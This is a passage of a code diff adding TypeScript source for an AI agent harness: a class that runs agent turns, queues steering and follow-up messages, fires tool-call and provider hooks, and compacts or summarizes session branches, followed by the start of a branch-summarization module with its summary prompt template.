ThinkingLevel; + tools: TTool[]; + activeTools: TTool[]; +} + +export class AgentHarness< + TSkill extends Skill = Skill, + TPromptTemplate extends PromptTemplate = PromptTemplate, + TTool extends AgentTool = AgentTool, +> { + readonly env: ExecutionEnv; + private session: Session; + private phase: AgentHarnessPhase = "idle"; + private runAbortController?: AbortController; + private runPromise?: Promise; + private pendingSessionWrites: PendingSessionWrite[] = []; + private model: Model; + private thinkingLevel: ThinkingLevel; + private systemPrompt: AgentHarnessOptions["systemPrompt"]; + private streamOptions: AgentHarnessStreamOptions; + private getApiKeyAndHeaders?: AgentHarnessOptions["getApiKeyAndHeaders"]; + private runtime?: AgentCoreRuntimeDeps; + private resources: AgentHarnessResources; + private tools = new Map(); + private activeToolNames: string[]; + private steerQueue: UserMessage[] = []; + private steeringQueueMode: QueueMode; + private followUpQueue: UserMessage[] = []; + private followUpQueueMode: QueueMode; + private nextTurnQueue: AgentMessage[] = []; + private handlers = new Map>(); + + constructor(options: AgentHarnessOptions) { + this.env = options.env; + this.session = options.session; + this.resources = options.resources ?? {}; + this.streamOptions = cloneStreamOptions(options.streamOptions); + this.systemPrompt = options.systemPrompt; + this.getApiKeyAndHeaders = options.getApiKeyAndHeaders; + this.runtime = options.runtime; + for (const tool of options.tools ?? []) { + this.tools.set(tool.name, tool); + } + this.model = options.model; + this.thinkingLevel = options.thinkingLevel ?? "off"; + this.activeToolNames = + options.activeToolNames ?? (options.tools ?? []).map((tool) => tool.name); + this.steeringQueueMode = options.steeringMode ?? "one-at-a-time"; + this.followUpQueueMode = options.followUpMode ?? "one-at-a-time"; + } + + private getHandlers(type: string): Set | undefined { + return this.handlers.get(type); + } + + private async emitOwn( + event: AgentHarnessOwnEvent, + signal?: AbortSignal, + ): Promise { + for (const listener of this.getHandlers(SUBSCRIBER_EVENT_TYPE) ?? []) { + try { + await listener(event, signal); + } catch (error) { + throw normalizeHookError(error); + } + } + } + + private async emitAny( + event: AgentHarnessEvent, + signal?: AbortSignal, + ): Promise { + for (const listener of this.getHandlers(SUBSCRIBER_EVENT_TYPE) ?? []) { + try { + await listener(event, signal); + } catch (error) { + throw normalizeHookError(error); + } + } + } + + private async emitHook( + event: Extract, + ): Promise { + const handlers = this.getHandlers(event.type); + if (!handlers || handlers.size === 0) { + return undefined; + } + let lastResult: AgentHarnessEventResultMap[TType] | undefined; + for (const handler of handlers) { + try { + const result = (await handler(event)) as AgentHarnessEventResultMap[TType] | undefined; + if (result !== undefined) { + lastResult = result; + } + } catch (error) { + throw normalizeHookError(error); + } + } + return lastResult; + } + + private async emitBeforeProviderRequest( + model: Model, + sessionId: string, + streamOptions: AgentHarnessStreamOptions, + ): Promise { + const handlers = this.getHandlers("before_provider_request"); + let current = cloneStreamOptions(streamOptions); + if (!handlers || handlers.size === 0) { + return current; + } + for (const handler of handlers) { + try { + const result = (await handler({ + type: "before_provider_request", + model, + sessionId, + streamOptions: cloneStreamOptions(current), + })) as AgentHarnessEventResultMap["before_provider_request"]; + if (result?.streamOptions) { + current = applyStreamOptionsPatch(current, result.streamOptions); + } + } catch (error) { + throw normalizeHookError(error); + } + } + return current; + } + + private async emitBeforeProviderPayload(model: Model, payload: unknown): Promise { + const handlers = this.getHandlers("before_provider_payload"); + let current = payload; + if (!handlers || handlers.size === 0) { + return current; + } + for (const handler of handlers) { + try { + const result = (await handler({ + type: "before_provider_payload", + model, + payload: current, + })) as AgentHarnessEventResultMap["before_provider_payload"]; + if (result !== undefined) { + current = result.payload; + } + } catch (error) { + throw normalizeHookError(error); + } + } + return current; + } + + private async emitQueueUpdate(): Promise { + await this.emitOwn({ + type: "queue_update", + steer: [...this.steerQueue], + followUp: [...this.followUpQueue], + nextTurn: [...this.nextTurnQueue], + }); + } + + private startRunPromise(): () => void { + let finish = () => {}; + this.runPromise = new Promise((resolve) => { + finish = resolve; + }); + return () => { + this.runPromise = undefined; + finish(); + }; + } + + private async createTurnState(): Promise> { + const context = await this.session.buildContext(); + const resources = this.getResources(); + const sessionMetadata = await this.session.getMetadata(); + const tools = [...this.tools.values()]; + const activeTools = this.activeToolNames + .map((name) => this.tools.get(name)) + .filter((tool): tool is TTool => tool !== undefined); + let systemPrompt = "You are a helpful assistant."; + if (typeof this.systemPrompt === "string") { + systemPrompt = this.systemPrompt; + } else if (this.systemPrompt) { + systemPrompt = await this.systemPrompt({ + env: this.env, + session: this.session, + model: this.model, + thinkingLevel: this.thinkingLevel, + activeTools, + resources, + }); + } + return { + messages: context.messages, + resources, + streamOptions: cloneStreamOptions(this.streamOptions), + sessionId: sessionMetadata.id, + systemPrompt, + model: this.model, + thinkingLevel: this.thinkingLevel, + tools, + activeTools, + }; + } + + private createContext( + turnState: AgentHarnessTurnState, + systemPrompt?: string, + ): AgentContext { + return { + systemPrompt: systemPrompt ?? turnState.systemPrompt, + messages: turnState.messages.slice(), + tools: turnState.activeTools.slice(), + }; + } + + private createStreamFn( + getTurnState: () => AgentHarnessTurnState, + ): StreamFn { + return async (model, context, streamOptions) => { + const turnState = getTurnState(); + const auth = await this.getApiKeyAndHeaders?.(model); + const snapshotOptions: AgentHarnessStreamOptions = { + ...turnState.streamOptions, + headers: mergeHeaders(turnState.streamOptions.headers, auth?.headers), + }; + const requestOptions = await this.emitBeforeProviderRequest( + model, + turnState.sessionId, + snapshotOptions, + ); + return resolveAgentCoreStreamFn(this.runtime)(model, context, { + cacheRetention: requestOptions.cacheRetention, + headers: requestOptions.headers, + maxRetries: requestOptions.maxRetries, + maxRetryDelayMs: requestOptions.maxRetryDelayMs, + metadata: requestOptions.metadata, + onPayload: async (payload) => await this.emitBeforeProviderPayload(model, payload), + onResponse: async (response) => { + const headers = { ...response.headers }; + await this.emitOwn( + { type: "after_provider_response", status: response.status, headers }, + streamOptions?.signal, + ); + }, + reasoning: streamOptions?.reasoning, + signal: streamOptions?.signal, + sessionId: turnState.sessionId, + timeoutMs: requestOptions.timeoutMs, + transport: requestOptions.transport, + apiKey: auth?.apiKey, + }); + }; + } + + private async drainQueuedMessages( + queue: AgentMessage[], + mode: QueueMode, + ): Promise { + const messages = mode === "all" ? queue.splice(0) : queue.splice(0, 1); + if (messages.length === 0) { + return messages; + } + try { + await this.emitQueueUpdate(); + return messages; + } catch (error) { + queue.unshift(...messages); + throw normalizeHookError(error); + } + } + + private createLoopConfig( + getTurnState: () => AgentHarnessTurnState, + setTurnState: (turnState: AgentHarnessTurnState) => void, + ): AgentLoopConfig { + const turnState = getTurnState(); + return { + model: turnState.model, + reasoning: turnState.thinkingLevel === "off" ? undefined : turnState.thinkingLevel, + convertToLlm, + transformContext: async (messages) => { + const result = await this.emitHook({ type: "context", messages: [...messages] }); + return result?.messages ?? messages; + }, + beforeToolCall: async ({ toolCall, args }) => { + const result = await this.emitHook({ + type: "tool_call", + toolCallId: toolCall.id, + toolName: toolCall.name, + input: args as Record, + }); + return result ? { block: result.block, reason: result.reason } : undefined; + }, + afterToolCall: async ({ toolCall, args, result, isError }) => { + const patch = await this.emitHook({ + type: "tool_result", + toolCallId: toolCall.id, + toolName: toolCall.name, + input: args as Record, + content: result.content, + details: result.details, + isError, + }); + return patch + ? { + content: patch.content, + details: patch.details, + isError: patch.isError, + terminate: patch.terminate, + } + : undefined; + }, + prepareNextTurn: async () => { + await this.flushPendingSessionWrites(); + const nextTurnState = await this.createTurnState(); + setTurnState(nextTurnState); + return { + context: this.createContext(nextTurnState), + model: nextTurnState.model, + thinkingLevel: nextTurnState.thinkingLevel, + }; + }, + getSteeringMessages: async () => + this.drainQueuedMessages(this.steerQueue, this.steeringQueueMode), + getFollowUpMessages: async () => + this.drainQueuedMessages(this.followUpQueue, this.followUpQueueMode), + }; + } + + private validateToolNames(toolNames: string[], tools: Map = this.tools): void { + const missing = toolNames.filter((name) => !tools.has(name)); + if (missing.length > 0) { + throw new AgentHarnessError("invalid_argument", `Unknown tool(s): ${missing.join(", ")}`); + } + } + + private async flushPendingSessionWrites(): Promise { + while (this.pendingSessionWrites.length > 0) { + const write = this.pendingSessionWrites[0]; + if (write.type === "message") { + await this.session.appendMessage(write.message); + } else if (write.type === "model_change") { + await this.session.appendModelChange(write.provider, write.modelId); + } else if (write.type === "thinking_level_change") { + await this.session.appendThinkingLevelChange(write.thinkingLevel); + } else if (write.type === "custom") { + await this.session.appendCustomEntry(write.customType, write.data); + } else if (write.type === "custom_message") { + await this.session.appendCustomMessageEntry( + write.customType, + write.content, + write.display, + write.details, + ); + } else if (write.type === "label") { + await this.session.appendLabel(write.targetId, write.label); + } else if (write.type === "session_info") { + await this.session.appendSessionName(write.name ?? ""); + } else if (write.type === "leaf") { + await this.session.getStorage().setLeafId(write.targetId); + } + this.pendingSessionWrites.shift(); + } + } + + private async handleAgentEvent(event: AgentEvent, signal?: AbortSignal): Promise { + if (event.type === "message_end") { + await this.session.appendMessage(event.message); + await this.emitAny(event, signal); + return; + } + if (event.type === "turn_end") { + let eventError: unknown; + try { + await this.emitAny(event, signal); + } catch (error) { + eventError = error; + } + const hadPendingMutations = this.pendingSessionWrites.length > 0; + await this.flushPendingSessionWrites(); + if (eventError) { + throw eventError; + } + await this.emitOwn({ type: "save_point", hadPendingMutations }); + return; + } + if (event.type === "agent_end") { + await this.flushPendingSessionWrites(); + this.phase = "idle"; + await this.emitAny(event, signal); + await this.emitOwn({ type: "settled", nextTurnCount: this.nextTurnQueue.length }, signal); + return; + } + await this.emitAny(event, signal); + } + + private async emitRunFailure( + model: Model, + error: unknown, + aborted: boolean, + signal: AbortSignal, + ): Promise { + const failureMessage = createFailureMessage(model, error, aborted); + await this.handleAgentEvent({ type: "message_start", message: failureMessage }, signal); + await this.handleAgentEvent({ type: "message_end", message: failureMessage }, signal); + await this.handleAgentEvent( + { type: "turn_end", message: failureMessage, toolResults: [] }, + signal, + ); + await this.handleAgentEvent({ type: "agent_end", messages: [failureMessage] }, signal); + return [failureMessage]; + } + + private async executeTurn( + turnState: AgentHarnessTurnState, + text: string, + options?: { images?: ImageContent[] }, + ): Promise { + let activeTurnState = turnState; + let messages: AgentMessage[] = [createUserMessage(text, options?.images)]; + if (this.nextTurnQueue.length > 0) { + const queuedMessages = this.nextTurnQueue.splice(0); + try { + await this.emitQueueUpdate(); + } catch (error) { + this.nextTurnQueue.unshift(...queuedMessages); + throw normalizeHookError(error); + } + messages = [...queuedMessages, messages[0]]; + } + const beforeResult = await this.emitHook({ + type: "before_agent_start", + prompt: text, + images: options?.images, + systemPrompt: turnState.systemPrompt, + resources: turnState.resources, + }); + if (beforeResult?.messages) { + messages = [...messages, ...beforeResult.messages]; + } + + const abortController = new AbortController(); + const getTurnState = () => activeTurnState; + const setTurnState = (nextTurnState: AgentHarnessTurnState) => { + activeTurnState = nextTurnState; + }; + this.runAbortController = abortController; + const runResultPromise = (async () => { + try { + return await runAgentLoop( + messages, + this.createContext(turnState, beforeResult?.systemPrompt), + this.createLoopConfig(getTurnState, setTurnState), + (event) => this.handleAgentEvent(event, abortController.signal), + abortController.signal, + this.createStreamFn(getTurnState), + ); + } catch (error) { + try { + return await this.emitRunFailure( + activeTurnState.model, + error, + abortController.signal.aborted, + abortController.signal, + ); + } catch (failureError) { + const cause = new AggregateError( + [toError(error), toError(failureError)], + "Agent run failed and failure reporting failed", + ); + throw new AgentHarnessError("unknown", cause.message, cause); + } + } + })(); + try { + const newMessages = await runResultPromise; + for (let i = newMessages.length - 1; i >= 0; i--) { + const message = newMessages[i]; + if (message.role === "assistant") { + return message; + } + } + throw new AgentHarnessError( + "invalid_state", + "AgentHarness prompt completed without an assistant message", + ); + } finally { + try { + await this.flushPendingSessionWrites(); + } finally { + this.runAbortController = undefined; + } + } + } + + async prompt(text: string, options?: { images?: ImageContent[] }): Promise { + if (this.phase !== "idle") { + throw new AgentHarnessError("busy", "AgentHarness is busy"); + } + this.phase = "turn"; + const finishRunPromise = this.startRunPromise(); + try { + const turnState = await this.createTurnState(); + return await this.executeTurn(turnState, text, options); + } catch (error) { + this.phase = "idle"; + throw normalizeHarnessError(error, "unknown"); + } finally { + finishRunPromise(); + } + } + + async skill(name: string, additionalInstructions?: string): Promise { + if (this.phase !== "idle") { + throw new AgentHarnessError("busy", "AgentHarness is busy"); + } + this.phase = "turn"; + const finishRunPromise = this.startRunPromise(); + try { + const turnState = await this.createTurnState(); + const skill = (turnState.resources.skills ?? []).find((candidate) => candidate.name === name); + if (!skill) { + throw new AgentHarnessError("invalid_argument", `Unknown skill: ${name}`); + } + return await this.executeTurn( + turnState, + formatSkillInvocation(skill, additionalInstructions), + ); + } catch (error) { + this.phase = "idle"; + throw normalizeHarnessError(error, "unknown"); + } finally { + finishRunPromise(); + } + } + + async promptFromTemplate(name: string, args: string[] = []): Promise { + if (this.phase !== "idle") { + throw new AgentHarnessError("busy", "AgentHarness is busy"); + } + this.phase = "turn"; + const finishRunPromise = this.startRunPromise(); + try { + const turnState = await this.createTurnState(); + const template = (turnState.resources.promptTemplates ?? []).find( + (candidate) => candidate.name === name, + ); + if (!template) { + throw new AgentHarnessError("invalid_argument", `Unknown prompt template: ${name}`); + } + return await this.executeTurn(turnState, formatPromptTemplateInvocation(template, args)); + } catch (error) { + this.phase = "idle"; + throw normalizeHarnessError(error, "unknown"); + } finally { + finishRunPromise(); + } + } + + async steer(text: string, options?: { images?: ImageContent[] }): Promise { + if (this.phase === "idle") { + throw new AgentHarnessError("invalid_state", "Cannot steer while idle"); + } + this.steerQueue.push(createUserMessage(text, options?.images)); + await this.emitQueueUpdate(); + } + + async followUp(text: string, options?: { images?: ImageContent[] }): Promise { + if (this.phase === "idle") { + throw new AgentHarnessError("invalid_state", "Cannot follow up while idle"); + } + this.followUpQueue.push(createUserMessage(text, options?.images)); + await this.emitQueueUpdate(); + } + + async nextTurn(text: string, options?: { images?: ImageContent[] }): Promise { + this.nextTurnQueue.push(createUserMessage(text, options?.images)); + await this.emitQueueUpdate(); + } + + async appendMessage(message: AgentMessage): Promise { + try { + if (this.phase === "idle") { + await this.session.appendMessage(message); + } else { + this.pendingSessionWrites.push({ type: "message", message }); + } + } catch (error) { + throw normalizeHarnessError(error, "session"); + } + } + + async compact(customInstructions?: string): Promise<{ + summary: string; + firstKeptEntryId: string; + tokensBefore: number; + details?: unknown; + }> { + if (this.phase !== "idle") { + throw new AgentHarnessError("busy", "compact() requires idle harness"); + } + this.phase = "compaction"; + try { + const model = this.model; + if (!model) { + throw new AgentHarnessError("invalid_state", "No model set for compaction"); + } + const auth = await this.getApiKeyAndHeaders?.(model); + if (!auth) { + throw new AgentHarnessError("auth", "No auth available for compaction"); + } + const branchEntries = await this.session.getBranch(); + const preparationResult = prepareCompaction(branchEntries, DEFAULT_COMPACTION_SETTINGS); + if (!preparationResult.ok) { + throw preparationResult.error; + } + const preparation = preparationResult.value; + if (!preparation) { + throw new AgentHarnessError("compaction", "Nothing to compact"); + } + const hookResult = await this.emitHook({ + type: "session_before_compact", + preparation, + branchEntries, + customInstructions, + signal: new AbortController().signal, + }); + if (hookResult?.cancel) { + throw new AgentHarnessError("compaction", "Compaction cancelled"); + } + const provided = hookResult?.compaction; + const compactResult = provided + ? { ok: true as const, value: provided } + : await compact( + preparation, + model, + auth.apiKey, + auth.headers, + customInstructions, + undefined, + this.thinkingLevel, + undefined, + this.runtime, + ); + if (!compactResult.ok) { + throw compactResult.error; + } + const result = compactResult.value; + const entryId = await this.session.appendCompaction( + result.summary, + result.firstKeptEntryId, + result.tokensBefore, + result.details, + provided !== undefined, + ); + const entry = await this.session.getEntry(entryId); + if (entry?.type === "compaction") { + await this.emitOwn({ + type: "session_compact", + compactionEntry: entry, + fromHook: provided !== undefined, + }); + } + return result; + } catch (error) { + throw normalizeHarnessError(error, "compaction"); + } finally { + this.phase = "idle"; + } + } + + async navigateTree( + targetId: string, + options?: { + summarize?: boolean; + customInstructions?: string; + replaceInstructions?: boolean; + label?: string; + }, + ): Promise { + if (this.phase !== "idle") { + throw new AgentHarnessError("busy", "navigateTree() requires idle harness"); + } + this.phase = "branch_summary"; + try { + const oldLeafId = await this.session.getLeafId(); + if (oldLeafId === targetId) { + return { cancelled: false }; + } + const targetEntry = await this.session.getEntry(targetId); + if (!targetEntry) { + throw new AgentHarnessError("invalid_argument", `Entry ${targetId} not found`); + } + const { entries, commonAncestorId } = await collectEntriesForBranchSummary( + this.session, + oldLeafId, + targetId, + ); + const preparation = { + targetId, + oldLeafId, + commonAncestorId, + entriesToSummarize: entries, + userWantsSummary: options?.summarize ?? false, + customInstructions: options?.customInstructions, + replaceInstructions: options?.replaceInstructions, + label: options?.label, + }; + const signal = new AbortController().signal; + const hookResult = await this.emitHook({ type: "session_before_tree", preparation, signal }); + if (hookResult?.cancel) { + return { cancelled: true }; + } + let summaryEntry: NavigateTreeResult["summaryEntry"]; + let summaryText: string | undefined = hookResult?.summary?.summary; + let summaryDetails: unknown = hookResult?.summary?.details; + if (!summaryText && options?.summarize && entries.length > 0) { + const model = this.model; + if (!model) { + throw new AgentHarnessError("invalid_state", "No model set for branch summary"); + } + const auth = await this.getApiKeyAndHeaders?.(model); + if (!auth) { + throw new AgentHarnessError("auth", "No auth available for branch summary"); + } + const branchSummary = await generateBranchSummary(entries, { + model, + apiKey: auth.apiKey, + headers: auth.headers, + signal: new AbortController().signal, + runtime: this.runtime, + customInstructions: hookResult?.customInstructions ?? options?.customInstructions, + replaceInstructions: hookResult?.replaceInstructions ?? options?.replaceInstructions, + }); + if (!branchSummary.ok) { + if (branchSummary.error.code === "aborted") { + return { cancelled: true }; + } + throw new AgentHarnessError( + "branch_summary", + branchSummary.error.message, + branchSummary.error, + ); + } + summaryText = branchSummary.value.summary; + summaryDetails = { + readFiles: branchSummary.value.readFiles, + modifiedFiles: branchSummary.value.modifiedFiles, + }; + } + let editorText: string | undefined; + let newLeafId: string | null; + if (targetEntry.type === "message" && targetEntry.message.role === "user") { + newLeafId = targetEntry.parentId; + const content = targetEntry.message.content; + editorText = + typeof content === "string" + ? content + : content + .filter( + (c): c is { readonly type: "text"; readonly text: string } => c.type === "text", + ) + .map((c) => c.text) + .join(""); + } else if (targetEntry.type === "custom_message") { + newLeafId = targetEntry.parentId; + editorText = + typeof targetEntry.content === "string" + ? targetEntry.content + : targetEntry.content + .filter( + (c): c is { readonly type: "text"; readonly text: string } => c.type === "text", + ) + .map((c) => c.text) + .join(""); + } else { + newLeafId = targetId; + } + const summaryId = await this.session.moveTo( + newLeafId, + summaryText + ? { + summary: summaryText, + details: summaryDetails, + fromHook: hookResult?.summary !== undefined, + } + : undefined, + ); + if (summaryId) { + const entry = await this.session.getEntry(summaryId); + if (entry?.type === "branch_summary") { + summaryEntry = entry; + } + } + await this.emitOwn({ + type: "session_tree", + newLeafId: await this.session.getLeafId(), + oldLeafId, + summaryEntry, + fromHook: hookResult?.summary !== undefined, + }); + return { cancelled: false, editorText, summaryEntry }; + } catch (error) { + throw normalizeHarnessError(error, "branch_summary"); + } finally { + this.phase = "idle"; + } + } + + getModel(): Model { + return this.model; + } + + getThinkingLevel(): ThinkingLevel { + return this.thinkingLevel; + } + + async setModel(model: Model): Promise { + try { + const previousModel = this.model; + if (this.phase === "idle") { + await this.session.appendModelChange(model.provider, model.id); + } else { + this.pendingSessionWrites.push({ + type: "model_change", + provider: model.provider, + modelId: model.id, + }); + } + this.model = model; + await this.emitOwn({ type: "model_select", model, previousModel, source: "set" }); + } catch (error) { + throw normalizeHarnessError(error, "session"); + } + } + + async setThinkingLevel(level: ThinkingLevel): Promise { + try { + const previousLevel = this.thinkingLevel; + if (this.phase === "idle") { + await this.session.appendThinkingLevelChange(level); + } else { + this.pendingSessionWrites.push({ type: "thinking_level_change", thinkingLevel: level }); + } + this.thinkingLevel = level; + await this.emitOwn({ type: "thinking_level_select", level, previousLevel }); + } catch (error) { + throw normalizeHarnessError(error, "session"); + } + } + + async setActiveTools(toolNames: string[]): Promise { + try { + this.validateToolNames(toolNames); + this.activeToolNames = [...toolNames]; + } catch (error) { + throw normalizeHarnessError(error, "invalid_argument"); + } + } + + getSteeringMode(): QueueMode { + return this.steeringQueueMode; + } + + async setSteeringMode(mode: QueueMode): Promise { + this.steeringQueueMode = mode; + } + + getFollowUpMode(): QueueMode { + return this.followUpQueueMode; + } + + async setFollowUpMode(mode: QueueMode): Promise { + this.followUpQueueMode = mode; + } + + getResources(): AgentHarnessResources { + return { + skills: this.resources.skills?.slice(), + promptTemplates: this.resources.promptTemplates?.slice(), + }; + } + + async setResources(resources: AgentHarnessResources): Promise { + const previousResources = this.getResources(); + this.resources = { + skills: resources.skills?.slice(), + promptTemplates: resources.promptTemplates?.slice(), + }; + await this.emitOwn({ + type: "resources_update", + resources: this.getResources(), + previousResources, + }); + } + + getStreamOptions(): AgentHarnessStreamOptions { + return cloneStreamOptions(this.streamOptions); + } + + async setStreamOptions(streamOptions: AgentHarnessStreamOptions): Promise { + this.streamOptions = cloneStreamOptions(streamOptions); + } + + async setTools(tools: TTool[], activeToolNames?: string[]): Promise { + try { + const nextTools = new Map(tools.map((tool) => [tool.name, tool])); + const nextActiveToolNames = activeToolNames ? [...activeToolNames] : this.activeToolNames; + this.validateToolNames(nextActiveToolNames, nextTools); + this.tools = nextTools; + this.activeToolNames = [...nextActiveToolNames]; + } catch (error) { + throw normalizeHarnessError(error, "invalid_argument"); + } + } + + async abort(): Promise { + const clearedSteer = [...this.steerQueue]; + const clearedFollowUp = [...this.followUpQueue]; + this.steerQueue = []; + this.followUpQueue = []; + this.runAbortController?.abort(); + const errors: Error[] = []; + try { + await this.emitQueueUpdate(); + } catch (error) { + errors.push(toError(error)); + } + try { + await this.waitForIdle(); + } catch (error) { + errors.push(toError(error)); + } + try { + await this.emitOwn({ type: "abort", clearedSteer, clearedFollowUp }); + } catch (error) { + errors.push(toError(error)); + } + if (errors.length > 0) { + const cause = + errors.length === 1 ? errors[0] : new AggregateError(errors, "Abort completed with errors"); + throw normalizeHarnessError(cause, "hook"); + } + return { clearedSteer, clearedFollowUp }; + } + + async waitForIdle(): Promise { + await this.runPromise; + } + + subscribe( + listener: ( + event: AgentHarnessEvent, + signal?: AbortSignal, + ) => Promise | void, + ): () => void { + let handlers = this.handlers.get(SUBSCRIBER_EVENT_TYPE); + if (!handlers) { + handlers = new Set(); + this.handlers.set(SUBSCRIBER_EVENT_TYPE, handlers); + } + handlers.add(listener as AgentHarnessHandler); + return () => handlers.delete(listener as AgentHarnessHandler); + } + + on( + type: TType, + handler: ( + event: Extract, + ) => Promise | AgentHarnessEventResultMap[TType], + ): () => void { + let handlers = this.handlers.get(type); + if (!handlers) { + handlers = new Set(); + this.handlers.set(type, handlers); + } + handlers.add(handler as AgentHarnessHandler); + return () => handlers.delete(handler as AgentHarnessHandler); + } +} diff --git a/packages/agent-core/src/harness/compaction/branch-summarization.ts b/packages/agent-core/src/harness/compaction/branch-summarization.ts new file mode 100644 index 00000000000..34c3da14b5d --- /dev/null +++ b/packages/agent-core/src/harness/compaction/branch-summarization.ts @@ -0,0 +1,310 @@ +import type { Model, StreamFn } from "../../llm.js"; +import { + type AgentCoreCompletionRuntimeDeps, + resolveAgentCoreCompleteFn, +} from "../../runtime-deps.js"; +import type { AgentMessage } from "../../types.js"; +import { + convertToLlm, + createBranchSummaryMessage, + createCompactionSummaryMessage, + createCustomMessage, +} from "../messages.js"; +import type { BranchSummaryResult, Session, SessionTreeEntry } from "../types.js"; +import { BranchSummaryError, err, ok, type Result } from "../types.js"; +import { estimateTokens, SUMMARIZATION_SYSTEM_PROMPT } from "./compaction.js"; +import { + computeFileLists, + createFileOps, + extractFileOpsFromMessage, + type FileOperations, + formatFileOperations, + serializeConversation, +} from "./utils.js"; + +/** File-operation details stored on generated branch summary entries. */ +export interface BranchSummaryDetails { + /** Files read while exploring the summarized branch. */ + readFiles: string[]; + /** Files modified while exploring the summarized branch. */ + modifiedFiles: string[]; +} + +export type { FileOperations } from "./utils.js"; + +/** Prepared branch content for summarization. */ +export interface BranchPreparation { + /** Messages selected for the branch summary. */ + messages: AgentMessage[]; + /** File operations extracted from the branch. */ + fileOps: FileOperations; + /** Estimated token count for selected messages. */ + totalTokens: number; +} + +/** Entries selected for branch summarization. */ +export interface CollectEntriesResult { + /** Entries to summarize in chronological order. */ + entries: SessionTreeEntry[]; + /** Deepest common ancestor between the previous leaf and target entry. */ + commonAncestorId: string | null; +} + +export interface BranchPathEntry { + id: string; + parentId: string | null; +} + +export interface CollectBranchPathEntriesResult { + /** Entries to summarize in chronological order. */ + entries: TEntry[]; + /** Deepest common ancestor between the previous leaf and target entry. */ + commonAncestorId: string | null; +} + +/** Options for generating a branch summary. */ +export interface GenerateBranchSummaryOptions { + /** Model used for summarization. */ + model: Model; + /** API key forwarded to the provider. */ + apiKey: string; + /** Optional request headers forwarded to the provider. */ + headers?: Record; + /** Abort signal for the summarization request. */ + signal: AbortSignal; + /** Runtime used to complete the summarization request. */ + runtime?: AgentCoreCompletionRuntimeDeps; + /** Optional stream implementation used instead of the runtime complete function. */ + streamFn?: StreamFn; + /** Optional instructions appended to or replacing the default prompt. */ + customInstructions?: string; + /** Replace the default prompt with custom instructions instead of appending them. */ + replaceInstructions?: boolean; + /** Tokens reserved for prompt and model output. Defaults to 16384. */ + reserveTokens?: number; +} + +/** Collect entries that should be summarized before navigating to a different session tree entry. */ +export function collectEntriesForBranchSummaryFromBranches( + oldBranch: readonly TEntry[], + targetBranch: readonly TEntry[], +): CollectBranchPathEntriesResult { + const oldPath = new Set(oldBranch.map((entry) => entry.id)); + let commonAncestorId: string | null = null; + for (let i = targetBranch.length - 1; i >= 0; i--) { + if (oldPath.has(targetBranch[i].id)) { + commonAncestorId = targetBranch[i].id; + break; + } + } + + const firstSummarizedIndex = + commonAncestorId === null + ? 0 + : oldBranch.findIndex((entry) => entry.id === commonAncestorId) + 1; + return { entries: oldBranch.slice(firstSummarizedIndex), commonAncestorId }; +} + +/** Collect entries that should be summarized before navigating to a different session tree entry. */ +export async function collectEntriesForBranchSummary( + session: Session, + oldLeafId: string | null, + targetId: string, +): Promise { + if (!oldLeafId) { + return { entries: [], commonAncestorId: null }; + } + const oldBranch = await session.getBranch(oldLeafId); + const targetPath = await session.getBranch(targetId); + return collectEntriesForBranchSummaryFromBranches(oldBranch, targetPath); +} +function getMessageFromEntry(entry: SessionTreeEntry): AgentMessage | undefined { + switch (entry.type) { + case "message": + if (entry.message.role === "toolResult") { + return undefined; + } + return entry.message; + + case "custom_message": + return createCustomMessage( + entry.customType, + entry.content, + entry.display, + entry.details, + entry.timestamp, + ); + + case "branch_summary": + return createBranchSummaryMessage(entry.summary, entry.fromId, entry.timestamp); + + case "compaction": + return createCompactionSummaryMessage(entry.summary, entry.tokensBefore, entry.timestamp); + case "thinking_level_change": + case "model_change": + case "custom": + case "label": + case "session_info": + case "leaf": + return undefined; + } + return undefined; +} + +/** Prepare branch entries for summarization within an optional token budget. */ +export function prepareBranchEntries( + entries: SessionTreeEntry[], + tokenBudget: number = 0, +): BranchPreparation { + const messages: AgentMessage[] = []; + const fileOps = createFileOps(); + let totalTokens = 0; + for (const entry of entries) { + if (entry.type === "branch_summary" && !entry.fromHook && entry.details) { + const details = entry.details as BranchSummaryDetails; + if (Array.isArray(details.readFiles)) { + for (const f of details.readFiles) { + fileOps.read.add(f); + } + } + if (Array.isArray(details.modifiedFiles)) { + for (const f of details.modifiedFiles) { + fileOps.edited.add(f); + } + } + } + } + for (let i = entries.length - 1; i >= 0; i--) { + const entry = entries[i]; + const message = getMessageFromEntry(entry); + if (!message) { + continue; + } + extractFileOpsFromMessage(message, fileOps); + + const tokens = estimateTokens(message); + if (tokenBudget > 0 && totalTokens + tokens > tokenBudget) { + if (entry.type === "compaction" || entry.type === "branch_summary") { + if (totalTokens < tokenBudget * 0.9) { + messages.unshift(message); + totalTokens += tokens; + } + } + break; + } + + messages.unshift(message); + totalTokens += tokens; + } + + return { messages, fileOps, totalTokens }; +} + +const BRANCH_SUMMARY_PREAMBLE = `The user explored a different conversation branch before returning here. +Summary of that exploration: + +`; + +const BRANCH_SUMMARY_PROMPT = `Create a structured summary of this conversation branch for context when returning later. + +Use this EXACT format: + +## Goal +[What was the user trying to accomplish in this branch?] + +## Constraints & Preferences +- [Any constraints, preferences, or requirements mentioned] +- [Or "(none)" if none were mentioned] + +## Progress +### Done +- [x] [Completed tasks/changes] + +### In Progress +- [ ] [Work that was started but not finished] + +### Blocked +- [Issues preventing progress, if any] + +## Key Decisions +- **[Decision]**: [Brief rationale] + +## Next Steps +1. [What should happen next to continue this work] + +Keep each section concise. Preserve exact file paths, function names, and error messages.`; + +/** Generate a summary for abandoned branch entries. */ +export async function generateBranchSummary( + entries: SessionTreeEntry[], + options: GenerateBranchSummaryOptions, +): Promise> { + const { + model, + apiKey, + headers, + signal, + customInstructions, + replaceInstructions, + reserveTokens = 16384, + } = options; + const contextWindow = model.contextWindow || 128000; + const tokenBudget = contextWindow - reserveTokens; + + const { messages, fileOps } = prepareBranchEntries(entries, tokenBudget); + + if (messages.length === 0) { + return ok({ summary: "No content to summarize", readFiles: [], modifiedFiles: [] }); + } + const llmMessages = convertToLlm(messages); + const conversationText = serializeConversation(llmMessages); + let instructions: string; + if (replaceInstructions && customInstructions) { + instructions = customInstructions; + } else if (customInstructions) { + instructions = `${BRANCH_SUMMARY_PROMPT}\n\nAdditional focus: ${customInstructions}`; + } else { + instructions = BRANCH_SUMMARY_PROMPT; + } + const promptText = `\n${conversationText}\n\n\n${instructions}`; + + const summarizationMessages = [ + { + role: "user" as const, + content: [{ type: "text" as const, text: promptText }], + timestamp: Date.now(), + }, + ]; + const context = { systemPrompt: SUMMARIZATION_SYSTEM_PROMPT, messages: summarizationMessages }; + const streamOptions = { apiKey, headers, signal, maxTokens: 2048 }; + const response = 